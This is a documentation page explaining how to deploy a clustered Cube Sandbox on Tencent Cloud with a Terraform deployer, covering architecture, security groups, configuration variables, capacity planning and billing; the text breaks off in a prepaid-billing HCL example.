https://cubesandbox.com/guide/tencentcloud-terraform-deploy.md --- # Tencent Cloud Cluster Deployment (Terraform) This guide explains how to use the Terraform deployer shipped in the release bundle to stand up a **clustered** Cube Sandbox on Tencent Cloud in one shot: a managed TKE control plane running `cube-master` / `cube-api` / `cube-ops` / `cube-proxy` / `cube-lifecycle-manager` / `cube-webui`, backed by cloud MySQL + Redis, with one or more CVM PVM compute nodes. A jumpserver (SSH on port `443`) acts as the build host and the bastion for the otherwise-private VPC. ::: tip Network Hardening Network hardening for the cluster deployment is handled by **Tencent Cloud security groups**: the deployer creates **4 per-role security groups** (jumpserver / compute / TKE pod / CLB), each opening only the ingress that role actually needs on a least-privilege basis (compute and TKE nodes get no public ingress at all), and assigns no public IP to compute nodes. **The default is internal mode** (`TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='false'`): the three user-facing services — WebUI / cube-api / cube-proxy — are fronted by **VPC-internal CLBs**, reachable only from inside the VPC (via the jumpserver / VPN) with no public exposure. To allow public access, explicitly set `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='true'` to switch them to public CLBs. To tighten further, adjust the inbound/outbound rules of each individual group (`cubesandbox-sg-jumpserver` / `cubesandbox-sg-compute` / `cubesandbox-sg-tke-pod` / `cubesandbox-sg-clb`) as needed in the [Tencent Cloud security group console](https://console.cloud.tencent.com/vpc/securitygroup). **When public mode is enabled**, also see [Hardening the Public-Facing Services](#hardening-the-public-facing-services). ::: ::: tip When to use this This deployment uses cloud resources to **quickly stand up a highly-available CubeSandbox service**: all cloud resources default to pay-as-you-go billing (see [Billing Mode](#billing-mode) below) and can be released in one shot with `destroy.sh`. For long-term use, switch to **prepaid (monthly/yearly subscription)** resources for better cost savings (see [Billing Mode](#billing-mode)). If you only need a single-machine deployment for validation, see the earlier deployment guides: [PVM Deployment](./pvm-deploy.md) or [Bare-Metal Deployment](./bare-metal-deploy.md). **Note**: The default configuration is a **POC / functional validation** setup (2× `SA9.MEDIUM8` compute nodes, mostly single-replica control plane, no CFS). It can host only a limited number of sandboxes. For production or load testing, adjust compute node and TKE worker specs and counts — see [Node Specifications & Capacity Planning](#node-specifications--capacity-planning) and [Default Deployment Mode](#default-deployment-mode). ::: ## Architecture Overview ``` Internet │ ┌────────────┴────────────────────┐ │ │ ┌────────┴────────┐ ┌──────────┴─────────┐ │ Jumpserver CVM │ │ CLB (internal/ │ │ (public IP) │ │ public) │ │ SSH:443 │ │ cube-api :3000 │ │ build & push │ │ cube-proxy :80/443 │ └────────┬────────┘ │ cube-webui :80 │ │ └──────────┬─────────┘ │ │ ┌────────────┼─────────────────────────────────┼──────────┐ │ │ VPC internal │ │ │ ┌─────────┴────────┐ ┌───────────────┴─────┐ │ │ │ Compute CVM ×N │ │ TKE managed cluster │ │ │ Cubelet │ │ cube-master (×1) │ │ │ network runtime │ │ cube-api (×1) │ │ │ CubeEgress │ │ cube-ops (×1) │ │ └──────────────────┘ │ cube-proxy (×1) │ │ │ cube-lifecycle-manager │ │ │ cube-webui (×1) │ │ └───┬─────────────┬─────────┘ │ │ │ │ │ ┌────────────┴───┐ (opt.) │ │ │ │ CFS (NFS) │ │ │ │ │ shared store │ │ │ │ └────────────────┘ │ │ │ │ │ │ ┌─────────────────────┴───┐ │ │ │ Cloud DB: MySQL + Redis │ │ │ └─────────────────────────┘ │ │ │ │ ┌──────────────┐ ┌──────────────┐ │ │ │ TCR (opt.) │ │ NAT + EIP │→ public egress │ │ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ ``` | Component | Form | Notes | |-----------|------|-------| | Jumpserver | CVM (public IP, SSH 443) | Build host (TCR mode) and bastion into the private VPC | | Load balancer | CLB (internal/public) | Fronts `cube-api` / `cube-proxy` / `cube-webui`; internal mode by default, user traffic entry point | | Control plane | Managed TKE cluster | Runs `cube-master` / `cube-api` / `cube-ops` / `cube-proxy` / `cube-lifecycle-manager` / `cube-webui` | | Compute node | CVM PVM | Runs `Cubelet` with embedded network runtime and `CubeEgress`; **actually hosts sandboxes** | | Database | Cloud MySQL 8.0 + Redis 7.0 | VPC-internal only, no public access | | Shared storage | CFS (General Standard NFS, **optional**) | When `USE_CFS=true` and cubemaster has multiple replicas, ReadWriteMany share for `/data/CubeMaster/storage` | | Registry | TCR (basic, **optional**) | When `USE_TCR=true`; the jumpserver builds and pushes component images | | Egress | NAT gateway + EIP | The whole VPC reaches the internet through NAT | ::: info TKE workers and PVM compute nodes are separate resources * **`TENCENTCLOUD_TKE_NODE_COUNT`**: number of TKE **workers** running control-plane Pods (cubemaster / cube-api / etc.). * **`TENCENTCLOUD_COMPUTE_NODE_COUNT`**: number of **PVM compute nodes** running Cubelet; **sandboxes execute here**. Both default to `2` but serve completely different roles. ::: Compute node count, instance type, Cubelet report frequency, quota, labels, and template replica availability all affect CubeMaster scheduling. For the complete configuration reference and the required `cubemastercli tpl redo` step after adding compute nodes, see [CubeMaster Scheduler Configuration](./cubemaster-scheduler-config.md). ## Default Deployment Mode Matching `env.example` / `variables.tf`, the **default is public images + mostly single-replica control plane + no CFS** — a POC configuration: | Setting | Default | Notes | |---------|---------|-------| | `TENCENTCLOUD_USE_TCR` | `false` | No TCR; uses public pre-built images, no build on the jumpserver | | `TENCENTCLOUD_USE_CFS` | `false` | No CFS; cubemaster uses Pod-local storage | | `TENCENTCLOUD_CUBEMASTER_REPLICAS` etc. | `1` | Control-plane components default to one replica; cube-ops and cube-lifecycle-manager run two | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | `2` | PVM compute nodes | | `TENCENTCLOUD_TKE_NODE_COUNT` | `2` | TKE workers (`worker_config.count`) | | `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK` | `false` | cube-api / cube-proxy / cube-webui use VPC-internal CLBs | **Advanced modes:** * `TENCENTCLOUD_USE_TCR=true`: create TCR and build/push the six component images on the jumpserver. * `TENCENTCLOUD_USE_CFS=true` with `TENCENTCLOUD_CUBEMASTER_REPLICAS>1`: create CFS for cubemaster multi-replica shared storage. * `TENCENTCLOUD_CUBE_PROXY_REPLICAS>1`: run cube-proxy with multiple replicas behind the same CLB. `cube-proxy` supports **multiple replicas**. The default remains a single replica (`TENCENTCLOUD_CUBE_PROXY_REPLICAS=1`) for small deployments, but you can increase it when proxy traffic grows. Each cube-proxy replica registers its admin endpoint in Redis, and the standalone `cube-lifecycle-manager` discovers replicas from that registry for auto-pause / auto-resume coordination, so no static replica list is required. ## Resources Created by the Default Configuration The table below lists cloud resources created under the **default configuration** (region `ap-guangzhou`, zone `ap-guangzhou-6`, 2 compute nodes, 2 TKE workers, no CFS/TCR). All resources are **pay-as-you-go** (see [Billing Mode](#billing-mode)). | Resource | Count | Spec / Configuration | |----------|-------|----------------------| | VPC | 1 | CIDR `10.0.0.0/16` | | Subnet | 1 | `10.0.1.0/24` (primary zone; extra /24 subnets only when a role lands in another zone) | | NAT gateway + EIP | 1 + 1 | 200 Mbps bandwidth, pay-by-traffic | | Route table entry | 1 | `0.0.0.0/0` → NAT gateway | | Security group | 4 | Per-role (jumpserver / compute / TKE pod / CLB), least privilege, see below | | SSH key pair | 1 | Auto-generated under `terraform/tencentcloud/.ssh/` | | Jumpserver CVM | 1 | `SA9.MEDIUM4` (2C4G), 50GB general-purpose SSD system disk, 200 Mbps public bandwidth, SSH on port 443 | | Compute CVM | 2 | `SA9.MEDIUM8` (4C8G), 50GB system disk + **200GB CBS data disk** (XFS, `/data/cubelet`), **no public IP** | | TKE managed cluster | 1 | Managed **L5**, Kubernetes `1.34.1`, Pod CIDR `10.200.0.0/16`, Service CIDR `192.168.0.0/20`, VPC-internal API only | | TKE worker nodes | 2 | `SA9.LARGE8` (4C8G), created via `worker_config.count` (**no separate node pool**) | | Cloud MySQL | 1 | 8.0 InnoDB universal, 4GB memory / 200GB storage, multi-AZ (when the region has ≥2 zones) / semi-sync, intranet 3306 only | | Cloud Redis | 1 | 7.0 standard architecture (master/replica), 1GB memory, port 6379, intranet only | | CFS file system | 0 (default) | 1 General Standard NFS when `USE_CFS=true` | | TCR registry | 0 (default) | Basic + namespace + VPC attachment when `USE_TCR=true` | | OS image | — | OpenCloudOS Server 9 (public image, reused by all CVMs) | ::: tip OS image All CVMs (jumpserver / compute / TKE workers) default to the **OpenCloudOS Server 9** public image; override with `TENCENTCLOUD_IMAGE_NAME`. ::: ### Security Group Ingress Ports The deployer creates **4 per-role security groups** on a **least-privilege** basis; each opens only the ingress that role actually needs, so compromising one role never inherits the inbound surface of the others. **1. `cubesandbox-sg-jumpserver` (jumpserver)** | Port / Range | Source | Purpose | |--------------|--------|---------| | TCP 443 | `0.0.0.0/0` | Jumpserver SSH (cloud-init moves sshd to 443) | | ALL | `10.0.0.0/16` | VPC-internal traffic | **2. `cubesandbox-sg-compute` (compute nodes)** — no public ingress | Port / Range | Source | Purpose | |--------------|--------|---------| | ALL | TKE Pod CIDR | cube-proxy (pod) → all ports on compute nodes (sandbox dynamic ports 20000-29999) | | ALL | `10.0.0.0/16` | VPC-internal traffic (jumpserver management, cube-master scheduling) | **3. `cubesandbox-sg-tke-pod` (TKE workers)** — no public ingress | Port / Range | Source | Purpose | |--------------|--------|---------| | ALL | TKE Pod CIDR | Pod-to-pod communication | | ALL | `10.0.0.0/16` | VPC-internal (CLB health checks, jumpserver management, CFS NFS) | **4. `cubesandbox-sg-clb` (load balancers)** The source for the 80 / 443 / 3000 entrypoints below depends on `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK`: in the **default internal mode (`false`)** the source is the VPC CIDR `10.0.0.0/16` (VPC-internal only); in **public mode (`true`)** the source is `0.0.0.0/0` (open to the internet). | Port / Range | Source (internal / public mode) | Purpose | |--------------|--------|---------| | TCP 80 | `10.0.0.0/16` / `0.0.0.0/0` | CLB for cube-proxy + cube-webui (HTTP) | | TCP 443 | `10.0.0.0/16` / `0.0.0.0/0` | CLB for cube-proxy (HTTPS) | | TCP 3000 | `10.0.0.0/16` / `0.0.0.0/0` | CLB for cube-api | | TCP 8089 | `10.0.0.0/16` (always VPC-internal only) | Internal CLB for cube-master (unaffected by the flag) | Egress allows all (`0.0.0.0/0` ALL) by default on every group. Databases, the TKE API server, etc. are **not exposed publicly** — VPC-internal access only. ### Hardening the Public-Facing Services > This section applies only when **public mode is enabled** (`TENCENTCLOUD_ENABLE_PUBLIC_NETWORK='true'`). In the default internal mode none of the three services are exposed publicly, so you can skip it. With public mode enabled, `cubesandbox-sg-clb` opens three public entrypoints to `0.0.0.0/0`: WebUI (80), cube-proxy (80 / 443), and cube-api (3000). Their security models differ, so harden each one separately: * **WebUI (CLB 80):** the WebUI console currently ships **without any authentication or access control** — anyone who can reach it can operate sandboxes. Strongly consider creating a **dedicated security group** for the WebUI CLB and configuring a **strict source-IP allowlist** (only your office / management egress IPs) instead of reusing the publicly-open `cubesandbox-sg-clb`. Create the group in the [Tencent Cloud security group console](https://console.cloud.tencent.com/vpc/securitygroup) and bind it to the WebUI CLB instance. * **cube-api (CLB 3000):** cube-api **lets every request through without credential checks** by default. Before exposing it publicly, enable **Auth Callback** authentication to delegate authorization decisions to your own auth service — see [Authentication](./authentication.md). * **cube-proxy (CLB 80 / 443):** cube-proxy is the public ingress for sandbox traffic and is public-facing by design. To restrict public access to sandboxes, see [Restrict Public Access](./restrict-public-access.md) to enable mechanisms such as per-sandbox inbound tokens. ## Prerequisites The machine running `create.sh` only needs the following — **no pre-installed Terraform required**: * **Tencent Cloud API credentials:** create an API key pair in the [CAM console](https://console.cloud.tencent.com/cam/capi) and export `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY`. * **Local tools:** `ssh`, `scp`, `nc`, plus network access to the Tencent Cloud APIs. `terraform` and `jq` are auto-installed when missing — into `/usr/local/bin` when writable (e.g. running as root), otherwise into a local `.bin/`. `terraform` is fetched from the HashiCorp release site (needs `curl`/`wget` + `unzip`); `jq` comes from the system package manager or a static binary from GitHub. * `mkcert` / `openssl` are **not** needed locally — the cube-proxy certificate is produced on the jumpserver. * **Build / deploy host:** Linux recommended; `create.sh` / `destroy.sh` also support macOS (including Bash 3.2). Use WSL2 on Windows. ### Terraform Provider Init Acceleration (Recommended) By default, `terraform init` downloads providers from `registry.terraform.io` and GitHub. In mainland China networks, installing the `tencentcloudstack/tencentcloud` provider may time out while fetching checksums or release packages, with errors such as `failed to retrieve authentication checksums` or `Client.Timeout exceeded while awaiting headers`. Tencent Cloud provides a Terraform provider mirror that can be enabled through the Terraform CLI configuration file. See Tencent Cloud's [Init acceleration guide](https://cloud.tencent.com/document/product/1653/82912). On Linux / macOS, create or update `~/.terraformrc` for the current user: ```hcl provider_installation { network_mirror { url = "https://mirrors.tencent.com/terraform/" include = ["registry.terraform.io/tencentcloudstack/*"] } direct { exclude = ["registry.terraform.io/tencentcloudstack/*"] } } ``` ### Pre-deployment setup (service activation & authorization) Complete these **before the first `create.sh` apply** to avoid half-created resources mid-run. #### 1. Account basics * [Register a Tencent Cloud account](https://cloud.tencent.com/register) and complete **real-name verification**. * For sub-accounts, grant permissions to create VPC / CVM / TKE / CDB / Redis / CLB resources. See [Authorize with TKE preset policies](https://cloud.tencent.com/document/product/457/46033) to attach policies such as `QcloudTKEFullAccess`. #### 2. TKE service role authorization (required) Before first use of TKE you must grant **service roles**, otherwise cluster creation, CLB-type Services, etc. will fail. 1. Log in to the [TKE console](https://console.cloud.tencent.com/tke2) and complete service authorization when prompted. 2. Confirm roles such as `TKE_QCSRole` / `IPAMDofTKE_QCSRole` are authorized. Official docs: [Service authorization role permissions](https://cloud.tencent.com/document/product/457/43416), [TKE quick start](https://cloud.tencent.com/document/product/457/6759). #### 3. Private DNS (as needed) | Scenario | Required? | |----------|-----------| | Default `USE_TCR=false` | Usually not | | `USE_TCR=true` | Recommended | | E2B SDK access to `*.cube.app` | **Yes** (see [E2B and the cube.app domain](#e2b-and-the-cubeapp-domain)) | Without activation the API may return `ResourceNotFound.ServiceNotSubscribed` (Private DNS service not subscribed). Activation: [DNSPod Private DNS](https://console.dnspod.cn/privateDNS) → accept agreement → activate. Docs: [Private DNS product overview](https://cloud.tencent.com/document/product/1338/50527), [Activate Private DNS](https://cloud.tencent.com/document/product/1338/50533). #### 4. Cloud File Storage CFS (as needed) Only when `TENCENTCLOUD_USE_CFS=true` and cubemaster runs multiple replicas. 1. Log in to the [CFS console](https://console.cloud.tencent.com/cfs) and **activate CFS** when prompted. 2. Terraform creates the file system during apply (no manual creation needed). Docs: [CFS quick start](https://cloud.tencent.com/document/product/582/9132). If the account is not activated the console may show no instances; prefer running `destroy.sh`'s CFS stage on teardown. #### 5. Other service preflight | Service | Console | |---------|---------| | VPC / NAT | [VPC](https://console.cloud.tencent.com/vpc) | | CVM | [CVM](https://console.cloud.tencent.com/cvm) | | TKE | [TKE](https://console.cloud.tencent.com/tke2) | | MySQL / Redis | [MySQL](https://console.cloud.tencent.com/cdb) / [Redis](https://console.cloud.tencent.com/redis) | | CLB | [CLB](https://console.cloud.tencent.com/clb) | | TCR (`USE_TCR=true`) | [TCR](https://console.cloud.tencent.com/tcr) | ## Quick Start The deployer is surfaced at the **top level** of the extracted bundle, so you can run it directly after extracting: ```bash tar -xzf cube-sandbox-one-click-<version>.tar.gz cd cube-sandbox-one-click-<version> # Copy the environment template, fill in your credentials (TENCENTCLOUD_SECRET_ID / TENCENTCLOUD_SECRET_KEY) and edit the rest as needed cp terraform/tencentcloud/env.example terraform/tencentcloud/.env # $EDITOR terraform/tencentcloud/.env ./terraform/tencentcloud/create.sh ``` `create.sh` auto-loads the `.env` next to it (filling in only variables not already set in the current shell), so credentials can either go straight into `.env` or be injected via `export` — the latter takes precedence and overrides the matching value in `.env`: ```bash export TENCENTCLOUD_SECRET_ID="your-secret-id" export TENCENTCLOUD_SECRET_KEY="your-secret-key" ``` See [Configuration](#configuration) below for the meaning and defaults of each `.env` option; anything left unset falls back to the defaults. `create.sh` runs entirely from the extracted bundle and automatically: 1. Auto-detects the local bundle (the outer `cube-sandbox-one-click-<version>.tar.gz`, or re-packs the extracted directory if the tarball is gone) and uses it as the **offline source** for component images and compute-node installation. When detected — or set via `TENCENTCLOUD_LOCAL_BUNDLE=/path/to.tar.gz` — no public download is required; otherwise the jumpserver falls back to an **online install** (needs public network). 2. Generates an SSH key pair under `terraform/tencentcloud/.ssh/` if none exists. 3. Generates the cube-proxy TLS certificate (`cube.app` / `*.cube.app`) on the jumpserver with the bundled `mkcert`, downloading it to `terraform/tencentcloud/cubeproxy-certs/` for the Secret mount. 4. **Default mode** (`USE_TCR=false`): pull public pre-built images and deploy TKE addons and CVM compute nodes (2 by default). 5. **TCR mode** (`USE_TCR=true`): create TCR, build and push the six component images on the jumpserver, then deploy TKE and compute nodes. ## Configuration Common environment variables (matching the `create.sh` / `variables.tf` defaults) are listed in `terraform/tencentcloud/env.example`, which you can copy to `.env` and fill in: ```bash export TENCENTCLOUD_REGION=ap-guangzhou export TENCENTCLOUD_AVAILABILITY_ZONE=ap-guangzhou-6 export TENCENTCLOUD_COMPUTE_NODE_COUNT=2 # CVM PVM compute nodes export TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE=200 # CBS data disk per compute node (GB) export TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY=1s export TENCENTCLOUD_TKE_NODE_COUNT=2 # TKE worker nodes (control-plane Pods) export TENCENTCLOUD_COMPUTE_INSTANCE_TYPE=SA9.MEDIUM8 export TENCENTCLOUD_USE_TCR=false # default: public pre-built images export TENCENTCLOUD_USE_CFS=false # default: no CFS export TENCENTCLOUD_CUBE_IMAGE_TAG=v0.7.2 export TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS=2 ``` ### Common Variables > When running `create.sh` interactively, the "Deployment configuration" step walks you through most of the settings below (region / VPC / instance types / passwords / image tag, etc.), including a `[y/N]` prompt for **whether to enable public-network mode** (default N = internal). Set any of these variables beforehand to skip the matching prompt; a non-interactive run (no TTY) silently uses the defaults. | Variable | Default | Description | |----------|---------|-------------| | `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY` | none | **Required.** Tencent Cloud API credentials | | `TENCENTCLOUD_REGION` | `ap-guangzhou` | Region | | `TENCENTCLOUD_AVAILABILITY_ZONE` | `ap-guangzhou-6` | Primary zone (subnet / MySQL / Redis / TKE control plane) | | `TENCENTCLOUD_JUMPSERVER_INSTANCE_TYPE` | `SA9.MEDIUM4` | Jumpserver instance type | | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | `SA9.MEDIUM8` | Preferred compute-node instance type | | `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | `SA9.LARGE8` | TKE worker instance type (4C8G) | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | `2` | **PVM compute nodes** (run Cubelet / sandboxes) | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | `200` | CBS data disk size per compute node (GB, XFS, mounted at `/data/cubelet`). Sandbox image templates, snapshots and runtime data on the compute node all live under this directory — size it to your actual needs | | `TENCENTCLOUD_CUBELET_NODE_STATUS_UPDATE_FREQUENCY` | `1s` | Cubelet node status/resource reporting interval to CubeOps. `create.sh` patches `Cubelet/config/config.toml` on each compute node | | `TENCENTCLOUD_TKE_NODE_COUNT` | `2` | **TKE workers** (run control-plane Pods; maps to `worker_config.count`) | | `TENCENTCLOUD_USE_TCR` | `false` | When `true`, create TCR and build/push images on the jumpserver; when `false`, use public pre-built images | | `TENCENTCLOUD_USE_CFS` | `false` | When `true` and cubemaster has multiple replicas, create CFS NFS shared storage | | `TENCENTCLOUD_TKE_CLUSTER_VERSION` | `1.34.1` | TKE Kubernetes version | | `TENCENTCLOUD_MYSQL_PASSWORD` | insecure demo value | MySQL root password (change for real use) | | `TENCENTCLOUD_REDIS_PASSWORD` | insecure demo value | Redis password (change for real use) | | `TENCENTCLOUD_CUBE_DB` / `TENCENTCLOUD_CUBE_USER` / `TENCENTCLOUD_CUBE_PASSWORD` | `cube_mvp` / `cube` / demo | Application DB name / account / password | | `TENCENTCLOUD_CUBEMASTER_REPLICAS` | `1` | cube-master replica count | | `TENCENTCLOUD_CUBE_API_REPLICAS` | `1` | cube-api replica count | | `TENCENTCLOUD_CUBE_OPS_REPLICAS` | `2` | cube-ops replica count. The default stack ships no object storage, so the component warehouse stays disabled until you wire COS (or other S3) into cube-ops (see [Component multi-version](/guide/component-multiversion)). cube-webui routes `/opsapi/` and `/cubeapi/v1/` through this internal service | | `TENCENTCLOUD_CUBE_PROXY_REPLICAS` | `1` | cube-proxy replica count. Values greater than `1` are supported; each replica registers in Redis for cube-lifecycle-manager discovery | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS` | `2` | cube-lifecycle-manager replica count. Default two replicas run active-standby when leader election is enabled. Set to `1` only after also disabling `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_ELECTION_ENABLED` | | `TENCENTCLOUD_CUBE_WEBUI_REPLICAS` | `1` | cube-webui replica count | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_DEFAULT_IDLE_TIMEOUT` | `5m` | Default idle timeout used when lifecycle metadata omits `TimeoutSeconds` | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_HEARTBEAT_TTL` | `15s` | TTL for cube-proxy Redis registry heartbeats | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_DISCOVERY_REFRESH` | `3s` | Redis discovery scan interval for cube-lifecycle-manager | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_ELECTION_ENABLED` | `true` | Run cube-lifecycle-manager as active-standby using a Redis lease. Requires `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_REPLICAS` >= 2 | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_LEASE_TTL` | `10s` | Redis lease TTL for cube-lifecycle-manager leader election | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_RENEW_INTERVAL` | `3s` | How often the leader renews its lease. Must be less than half of the lease TTL | | `TENCENTCLOUD_CUBE_LIFECYCLE_MANAGER_LEADER_RETRY_INTERVAL` | `1s` | How often a standby retries acquiring the lease. Must be greater than 0 and less than the lease TTL | | `TENCENTCLOUD_CUBE_PROXY_HEARTBEAT_INTERVAL_MS` | `5000` | cube-proxy registry heartbeat interval in milliseconds | | `TENCENTCLOUD_CUBE_ADMIN_TOKEN` | empty | Shared token for cube-lifecycle-manager -> cube-proxy `/admin/*` calls. Leave empty to auto-generate; custom values must be at least 16 characters | | `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK` | `false` | Network exposure mode for cube-api / cube-proxy / cube-webui. **Default `false`**: VPC-internal CLBs, reachable only from inside the VPC (via jumpserver / VPN). Set to `true` for public CLBs reachable from the internet, with the security group opening `0.0.0.0/0` accordingly. cube-master always stays VPC-internal. Read [Hardening the Public-Facing Services](#hardening-the-public-facing-services) before enabling | ### Non-interactive / CI runs Without a TTY the interactive menus fall back to defaults, so set them explicitly to stay in control. The password variables are the exception: a non-interactive run **refuses** to start with the built-in, publicly-known demo passwords and requires them to be set — or set `TENCENTCLOUD_ALLOW_INSECURE_DEFAULTS=1` to opt into the insecure defaults for a throwaway sandbox. ```bash export TENCENTCLOUD_AVAILABILITY_ZONE=ap-guangzhou-6 export TENCENTCLOUD_COMPUTE_INSTANCE_TYPE=SA9.MEDIUM8 export TENCENTCLOUD_LOCAL_BUNDLE=/path/to/cube-sandbox-one-click-<version>.tar.gz # auto-detected inside an extracted bundle export TENCENTCLOUD_PVM_KERNEL_VMLINUX=/path/to/vmlinux-pvm # only if the bundle ships no vmlinux-pvm export TENCENTCLOUD_MYSQL_PASSWORD=... # required for non-interactive runs (no insecure fallback) export TENCENTCLOUD_REDIS_PASSWORD=... # required for non-interactive runs export TENCENTCLOUD_CUBE_PASSWORD=... # required for non-interactive runs export TENCENTCLOUD_BUILD_IMAGES=0 # TCR mode: reuse already-pushed images ``` More advanced toggles (`TENCENTCLOUD_VERBOSE`, `TENCENTCLOUD_REINSTALL`, `TENCENTCLOUD_RESET_DB`, SSH port/key paths, etc.) are documented in the `create.sh` header comments. ## Node Specifications & Capacity Planning ### Default Configuration The default deployment provisions **2× 4C8G compute nodes** (`SA9.MEDIUM8`, 200GB data disk each) and **2 TKE workers** — suitable for POC / functional validation with limited sandbox capacity. Default specs per role: | Role | Default Type | Specs | Count | |------|-------------|-------|-------| | Compute node (PVM) | `SA9.MEDIUM8` | 4C8G + 200GB data disk | 2 | | TKE Worker | `SA9.LARGE8` | 4C8G | 2 (`worker_config.count`) | | Jumpserver | `SA9.MEDIUM4` | 2C4G | 1 | | Control-plane Pods | — | cubemaster / cube-api / cube-ops / cube-proxy / cube-lifecycle-manager / cube-webui ×1 each | on TKE workers | ::: warning The default configuration is only suitable for functional validation and small-scale evaluation. For large-scale production usage, you **must adjust the compute node and TKE node specs and counts**, otherwise you will encounter CPU/memory exhaustion, Pod scheduling failures, and sandbox creation timeouts. ::: ### Adjusting Compute Nodes Compute nodes are the machines that actually run sandbox containers. Use the following environment variables to adjust their specs, count, and disk size: | Environment Variable | Description | |---------------------|-------------| | `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` | Compute node instance type | | `TENCENTCLOUD_COMPUTE_NODE_COUNT` | Number of compute nodes | | `TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE` | Data disk size (GB) | **Example: scale up specs and count** (`.env` configuration): ```bash TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.4XLARGE32' TENCENTCLOUD_COMPUTE_NODE_COUNT='4' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='500' ``` **Example: use higher specs** (`.env` configuration): ```bash TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.16XLARGE128' TENCENTCLOUD_COMPUTE_NODE_COUNT='8' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='1000' ``` ::: tip Bare Metal Servers For stronger compute isolation and performance (avoiding virtualization overhead), you can use [Tencent Cloud Bare Metal Servers](https://cloud.tencent.com/product/cbm) as compute nodes. Simply set `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` to a bare metal instance type (e.g. `BMS5.12XLARGE192`) — the rest of the deployment process remains the same. ::: **Example: heterogeneous mix** (using Terraform variables directly, per-node instance types): ```bash export TF_VAR_compute_node_count=5 export TF_VAR_compute_instance_types='["SA9.8XLARGE64","SA9.8XLARGE64","SA9.4XLARGE32","SA9.4XLARGE32","SA9.4XLARGE32"]' export TF_VAR_compute_availability_zones='["ap-guangzhou-6","ap-guangzhou-7","ap-guangzhou-6","ap-guangzhou-7","ap-guangzhou-3"]' export TF_VAR_compute_data_disk_size=1000 ``` ### Adjusting TKE Worker Nodes TKE Workers run cube-master, cube-api, cube-proxy, cube-webui and other control-plane Pods. At larger scale, control-plane request volume and scheduling pressure increase significantly, requiring more resources. | Environment Variable | Description | |---------------------|-------------| | `TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE` | TKE Worker node instance type | | `TENCENTCLOUD_TKE_NODE_COUNT` | Number of TKE Worker nodes | **Example: upgrade TKE Worker specs**: ```bash TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE='SA9.2XLARGE16' TENCENTCLOUD_TKE_NODE_COUNT='4' ``` Also consider increasing control-plane replica counts for higher throughput and availability (multi-replica cubemaster requires `TENCENTCLOUD_USE_CFS=true`): ```bash TENCENTCLOUD_USE_CFS=true TENCENTCLOUD_CUBEMASTER_REPLICAS='3' TENCENTCLOUD_CUBE_API_REPLICAS='3' TENCENTCLOUD_CUBE_WEBUI_REPLICAS='2' ``` ### Full Example: Production Configuration ```bash # --- Compute nodes TENCENTCLOUD_COMPUTE_INSTANCE_TYPE='SA9.8XLARGE64' TENCENTCLOUD_COMPUTE_NODE_COUNT='6' TENCENTCLOUD_COMPUTE_DATA_DISK_SIZE='1000' # --- TKE control plane TENCENTCLOUD_TKE_WORKER_INSTANCE_TYPE='SA9.2XLARGE16' TENCENTCLOUD_TKE_NODE_COUNT='4' # --- Control-plane replicas (requires CFS) TENCENTCLOUD_USE_CFS=true TENCENTCLOUD_CUBEMASTER_REPLICAS='3' TENCENTCLOUD_CUBE_API_REPLICAS='3' TENCENTCLOUD_CUBE_WEBUI_REPLICAS='2' # --- Jumpserver can stay at default (build-only, no runtime load) TENCENTCLOUD_JUMPSERVER_INSTANCE_TYPE='SA9.MEDIUM4' ``` ## Billing Mode ::: warning Currently pay-as-you-go (POSTPAID) only All cloud resources created by this deployer are **hard-coded to pay-as-you-go** billing. There is currently **no** environment or Terraform variable to switch to prepaid (monthly/yearly subscription, PREPAID). ::: The charge type of each resource is fixed as follows: | Resource | Charge field | Value | Meaning | |----------|--------------|-------|---------| | Jumpserver CVM | `instance_charge_type` | `POSTPAID_BY_HOUR` | Pay by hour | | Compute CVM | `instance_charge_type` | `POSTPAID_BY_HOUR` | Pay by hour | | Cloud MySQL | `charge_type` | `POSTPAID` | Pay-as-you-go | | Cloud Redis | `charge_type` | `POSTPAID` | Pay-as-you-go | | NAT gateway EIP | `internet_charge_type` | `TRAFFIC_POSTPAID_BY_HOUR` | Pay by traffic | | CLB (cube-proxy) | annotation | `TRAFFIC_POSTPAID_BY_HOUR` | Pay by traffic (only in public mode; the annotation is absent in internal mode) | Pay-as-you-go is the default because this deployment targets **fast evaluation**: everything can be fully released with `destroy.sh` (`terraform destroy`) when you are done, avoiding ongoing charges. ### Switching to prepaid (subscription) For confirmed long-term use you can manually edit the charge fields of the matching resources in `terraform/tencentcloud/main.tf` to get better pricing. For example: ```hcl # CVM → prepaid resource "tencentcloud_instance" "compute" { instance_charge_type = "PREPAID" instance_charge_type_prepaid_period = 